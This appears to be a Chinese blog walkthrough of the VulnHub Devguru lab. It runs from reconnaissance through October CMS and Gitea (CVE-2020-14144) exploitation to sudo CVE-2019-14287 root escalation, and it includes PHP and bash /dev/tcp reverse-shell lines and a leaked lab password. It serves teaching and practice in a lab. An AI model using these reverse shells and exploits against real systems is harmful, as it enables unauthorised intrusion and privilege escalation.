vulnhub之devguru靶场提权过程(vulnhub打靶日记)

一、环境搭建

VM版本:17.5.1 build-23298084

攻击机:Kali2024(下载地址:https://www.kali.org/)

靶机:vulnhub靶场Devguru(下载地址:https://www.vulnhub.com/entry/devguru-1,620/)

网络环境:两台主机都设置NAT模式

踩坑1:使用vmware workstation打开Devguru,可能存在兼容性问题兼容性,我是选择重试继续安装也能正常玩耍,也可以更改VM虚拟机硬件为16.x。

解决环境配置问题也是安全必修课之一,细心解决并多总结即可!环境准备完毕,就可以娱乐的玩靶场了。

二、信息收集

1、收集IP、端口、目录信息

(1)确定靶机、攻击机IP,Kali攻击机使用ifconfig查看的IP为:192.168.232.128

(2)使用kali的nmap进行网段扫描、全端口扫描:nmap -p 1-65535 192.168.232.0/24

发现靶机的IP为:192.168.232.157         开放端口22、80、8585

(3)实战中优先访问80、8585web页面端口。22是ssh端口可以尝试爆破,不过成功概率极低。

http://192.168.232.157是网站首页,未发现任何可利用信息。

http://192.168.232.157:8585是gitea的首页,gitea版本为1.12.5存在历史漏洞。

(4)扫描http://192.168.232.157站点目录,发现利用点:

/.git/文件泄露     mysql登录地址 /adminer.php

扫描http://192.168.232.157:8585 站点目录,未发现什么有价值的利用点,只有一个登录处。

2、信息整合、漏洞利用

(1)两个登录框的账号密码都未知,威胁建模后,发现/.git/泄露漏洞可以利用,从这里入手。使用git利用工具GitHack-master爬取站点的源码。

(2)成功获得源码文件,开始审计源码,寻找有价值的信息,这里一眼就看到了config配置文件。从配置文件中获取了一个mysql用户。

拿下mysql后台低权限【1】

(3)去站点80端口的/adminer.php后台尝试登录,非常好,成功进入mysql后台。

(4)进入mysql数据库攻击优先顺序:

方法1:权限足够,直接写入一句话拿下网站权限

方法2:翻找数据表获取其他站点的账号密码,再进行后续的提权

(5)这里使用方法2,优先查看backend_user数据表的信息,发现一个账号密码,看样子就知道不容易解密。

(6)目前解密失败就尝试换一种思路,自己创建一个用户,并且权限设置为管理员。

(7)模仿游戏,尽量能设置一样,这样权限也会一样,再把添加的gjc用户加入管理员组中。

拿下october后台权限【2】

(8)从文件名规律猜测存在站点backend,访问站点:http://192.168.232.157/backend,使用创建的账号gjc 密码123456尝试登录,登录成功。

(9)kali工具或者网上搜索october-cms存在已知漏洞,后台可以文件上传、创建网页反弹shell,有兴趣了解参考大神文章:https://blog.csdn.net/m0_66299232/article/details/129119565

october获取网站权限【3】

(10)创建一个网页,写入反弹shell的代码:

function onStart(){
//nc监听7777端口$s=fsockopen("攻击机IP",7777);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);
}

(11)Kali攻击机nc监听7777端口:nc -lvvp 7777

(12)保持后查看网页,成功反弹shell。

(13)whoami查看权限,只是web权限太低了,靶场最终需要拿下root权限,尝试提权。

(14)翻一下目录,发现/var/backups下面有个备份文件app.ini.bak ,使用cat查看一下,获取到一个gitea和密码UfFPTF8C8jjxVF2m的mysql账号,刚好http://192.168.232.157:8585是gitea,猜测后面肯定有关联,正所谓无巧不成书!

拿下mysql后台高权限【4】

(15)去http://192.168.232.157/adminer.php登录看看,成功进入!

(16)查看user表信息,看到一个frank用户,使用了pbkdf2加密,此处有两种办法:

方法1:查看网站源码,分析加密方式,再根据加密写出解密脚本得到密码。(实战推荐这种)

方法2:修改密码,编辑数据表,修改加密方式为Bcrypt,密码改为123456(靶场推荐这种)

(17)Bcrypt加密网站:https://www.jisuan.mobi/nX7.html。修改两处即可!

拿下gieat站点后台权限【5】

(18)使用账号gieat密码123456成功登录http://192.168.232.157:8585 站点后台。

gieat获取普通用户权限【6】

(19)这里也是难点,gieat站点后台有个远程命令执行漏洞,文章地址:

Exploiting CVE-2020-14144 - GiTea Authenticated Remote Code Execution using git hooks · Podalirius访问http://192.168.232.157:8585/frank/devguru-website/settings/hooks/git/pre-receive写入反弹命令:

bash -c "exec bash -i >& /dev/tcp/192.168.232.128/5566 0>&1"        

(20)保存后,Kali创建监听5566端口,按照原理编辑README.md文件。

(21)在文件中随机敲几个空格提交修改,既可成功反弹shell。

​​​​​​​

(22)查看权限,是frank用户,普通权限,无法查看root目录下面的文件,只能进行权限提升。

三、权限提升

1、Linux常见提权手段总结

【1】内核溢出漏洞提权,例如:cve-2016-5195、cve_2021_4034等,也就是常说的脏牛系。

【2】SUID、SUDO、SUDO历史CVE漏洞提权

【3】Cron计划任务提权、path环境变量提权、NFS协议提权

【4】数据库类型提权、Capability能力

【5】其他.. ....LD_Preload加载\LXD\docker等等

以上是本人学过的linux提权方式,遗漏的欢迎大家评论区补充。

2、上传提权综合类脚本,PEASS-ng.sh工具几乎包含了上面全部手段探测,算是提权神器。windows中也能用。

将脚本放到Kali的root根目录下面,python开启一个服务终端:python -m http.server 8080

然后靶机进入/tmp目录远程下载文件:wget http://192.168.232.128:8080/PEASS-ng.sh

3、进入靶机的/tmp目录下面,可以看到文件被成功访问下载。

4、赋予文件执行权限:chmod +x PEASS-ng.sh 

执行文件:./PEASS-ng.sh

工具爬取出了suid等可利用信息,suid、sudo等提权参考文章:https://gtfobins.github.io/

5、sudo -l 查看可利用命令,发现/usr/bin/sqlite3

6、使用命令:sudo /usr/bin/sqlite3 /dev/null '.shell /bin/sh'  发现提权失败,权限不足。

7、因为这里有一个考点,就是sudo版本1.8.21存在CVE-2019-14287漏洞。(CVE-2019-14287学习文章:CVE-2019-14287:sudo权限绕过漏洞分析与复现_运行

拿下站点root权限【7】

8、将命令修改整理后:sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/sh'

9、至此,靶场完结!!!

四、关卡总结

考点:

1、拿下站点、敏感文件后,需要细心的审计搜索有价值的信息,特别是账号密码。

2、常见网站october、gieat的历史漏洞,利用已知漏洞反弹shell,拿下网站。

3、熟悉数据库后台创建用户,添加用户组,编辑用户的操作。

4、了解linux提权常用操作,内核漏洞>suid/sudo>环境变量/计划任务等等。

难点:

1、常见网站october、gieat的历史漏洞,这些站点的漏洞能否成功利用提权,对于小白来说是块硬骨头。

2、获取mysql的frank用户时,此处用的是修改加密方式、修改密码。实战中此操作风险太高。需要根据前面获得的源码分析加解密方式,才是最安全合理的。但是代码能力要求很高

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/296423.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RUST语言函数的定义与调用

1.定义函数 定义一个RUST函数使用fn关键字 函数定义语法: fn 函数名(参数名:参数类型,参数名:参数类型) -> 返回类型 { //函数体 } 定义一个没有参数,没有返回类型的参数 fn add() {println!("调用了add函数!"); } 定义有一个参数的函数 fn add(a:u32)…

llama.cpp运行qwen0.5B

编译llama.cp 参考 下载模型 05b模型下载 转化模型 创建虚拟环境 conda create --prefixD:\miniconda3\envs\llamacpp python3.10 conda activate D:\miniconda3\envs\llamacpp安装所需要的包 cd G:\Cpp\llama.cpp-master pip install -r requirements.txt python conver…

网络基础二——传输层协议UDP与TCP

九、传输层协议 ​ 传输层协议有UDP协议、TCP协议等; ​ 两个远端机器通过使用"源IP",“源端口号”,“目的IP”,“目的端口号”,"协议号"来标识一次通信; 9.1端口号的划分 ​ 0-10…

说一说Redis的Bitmaps和HyperLoLog?

本篇内容对应 “Redis高级数据类型”小节 和 “7.5 网站数据统计”小节 对应视频: Redis高级数据结构 网站数据统计 1 什么是UV和DAU? DAUUV英文全称Daily Active UserUnique Visotr中文全称日活跃用户量独立访客如何统计数据通过用户ID排重统计数据通…

Python Django全文搜索库之django-haystack使用详解

概要 Django Haystack库是一个用于在Django项目中实现全文搜索功能的强大工具。它集成了各种搜索引擎,如Elasticsearch、Whoosh等,为开发者提供了灵活且高效的搜索解决方案。在本文中,将深入探讨Django Haystack库的安装、配置和应用,以及如何利用其丰富的功能来实现高级全…

LabVIEW齿轮箱噪声监测系统

LabVIEW齿轮箱噪声监测系统 齿轮箱作为机械设备的“心脏”,其健康状态对设备的性能有着重要的影响。传统的齿轮箱监测方法依赖于直接的振动信号分析,但这种方法不仅成本高昂,而且在安装和拆卸过程中可能对设备造成损害。针对这些问题&#x…

Ai音乐大师演示(支持H5、小程序)独立部署源码

Ai音乐大师演示(支持H5、小程序)独立部署源码

华为服务器RAID配置教程 服务器硬盘故障处理帮助 浪潮RAID配置教程 磁盘阵列配置通用教程

前言(本文档持续更新) 本文主要记录服务器配置RAID(磁盘阵列)过程中存在的细节问题及官方文档无法解决的问题的解决方案 配置环境 华为 RH2288 v3服务器配置RAID组 如何快速配置 1.找到服务器品牌的阵列卡型号,找不到…

格力臻新风柜机:春风送暖,健康鲜氧守护家

春天,万物复苏,但也带来了流感和雾霾的频发。在这样的季节里,一款能够提供健康空气的空调就显得尤为重要。而格力臻新风变频冷暖3匹1级能效柜机空调KFR-72LW/(72582)FNhCb-B1(WIFI)(珊瑚玉),就如同一位贴心…

使用Java拓展本地开源大模型的网络搜索问答能力

背景 开源大模型通常不具备最新语料的问答能力。因此需要外部插件的拓展,目前主流的langChain框架已经集成了网络搜索的能力。但是作为一个倔强的Java程序员,还是想要用Java去实现。 注册SerpAPI Serpapi 提供了多种搜索引擎的搜索API接口。 访问 Ser…

MySQL数据库 数据库基本操作(二):表的增删查改(上)

1. CRUD CRUD 即增加(Create)、查询(Retrieve)、更新(Update)、删除(Delete)四个单词的首字母缩写,就是数据库基本操作中针对表的一系列操作. 2. 新增(create) -->insert 语法: insert into 表名 [列名1,列名2…] values (val1,val2…) [注意] 列名可以没有,如果没有列名…

Docker 部署开源远程桌面工具 RustDesk

RustDesk是一款远程控制,远程协助的开源软件。完美替代TeamViewer ,ToDesk,向日葵等平台。关键支持自建服务器,更安全私密远程控制电脑!官网地址:https://rustdesk.com/ 环境准备 1、阿里云服务器一 台&a…

从零到一:基于 K3s 快速搭建本地化 kubeflow AI 机器学习平台

背景 Kubeflow 是一种开源的 Kubernetes 原生框架,可用于开发、管理和运行机器学习工作负载,支持诸如 PyTorch、TensorFlow 等众多优秀的机器学习框架,本文介绍如何在 Mac 上搭建本地化的 kubeflow 机器学习平台。 注意:本文以 …

标题:探索AI绘画:使用深度学习生成艺术

正文: 随着计算机技术的发展,人工智能在各个领域取得了显著的成果。通过训练深度学习模型,AI可以学习大量的艺术作品,从而生成具有独特风格和创意的新作品。 本文将介绍如何使用Python和TensorFlow实现一个简单的AI绘画程序。 二、…

运算符规则

console.log(null undefined) null和undefined都是原始类型,然后把这两个转换为数字。是0NaN.看规则有一个NaN的话就得到NaN. console.log({} []); 把{}和[]转换为原始类型分别为和[Object Object]。然后特殊情况有字符串,那就拼接字符串返回[Object…

【嵌入式DIY实例】-使用SCT-013 传感器测量交流电流

使用SCT-013 传感器测量交流电流 文章目录 使用SCT-013 传感器测量交流电流1、SCT-013介绍2、硬件准备2、如何计算电气设备消耗的电流3、代码实现SCT-013电流互感器在家用电能表中很常见。 它是一种无需断开电路即可测量导线中电流的组件。在本文中,我们将介绍如何使用 Arduin…

hexo博客7:构建简单的多层安全防御体系

【hexo博客7】构建简单的多层安全防御体系 写在最前面理解全面安全策略的重要性防御常见的网络攻击1. SQL注入攻击2. 文件上传漏洞3. 跨站脚本攻击(XSS)4. 跨站请求伪造(CSRF)5. 目录遍历/本地文件包含(LFI/RFI&#x…

基础篇3 浅试Python爬虫爬取视频,m3u8标准的切片视频

浅试Python爬取视频 1.页面分析 使用虾米视频在线解析使用方式:https://jx.xmflv.cc/?url目标网站视频链接例如某艺的视频 原视频链接 解析结果: 1.1 F12查看页面结构 我们发现页面内容中什么都没有,video标签中的src路径也不是视频的数据。 1.2 …

异常

1.异常是什么? 程序中可能出现的问题 2.异常体系的最上层父类是谁?异常分为几类? 父类:Exception。 异常分为两类:编译时异常、运行时异常 3.编译时异常和运行时异常的区别? 编译时异常:没有继承RuntimeExcpetion的异常,直接…

开源博客项目Blog .NET Core源码学习(13:App.Hosting项目结构分析-1)

开源博客项目Blog的App.Hosting项目为MVC架构的,主要定义或保存博客网站前台内容显示页面及后台数据管理页面相关的控制器类、页面、js/css/images文件,页面使用基于layui的Razor页面(最早学习本项目就是想学习layui的用法,不过最…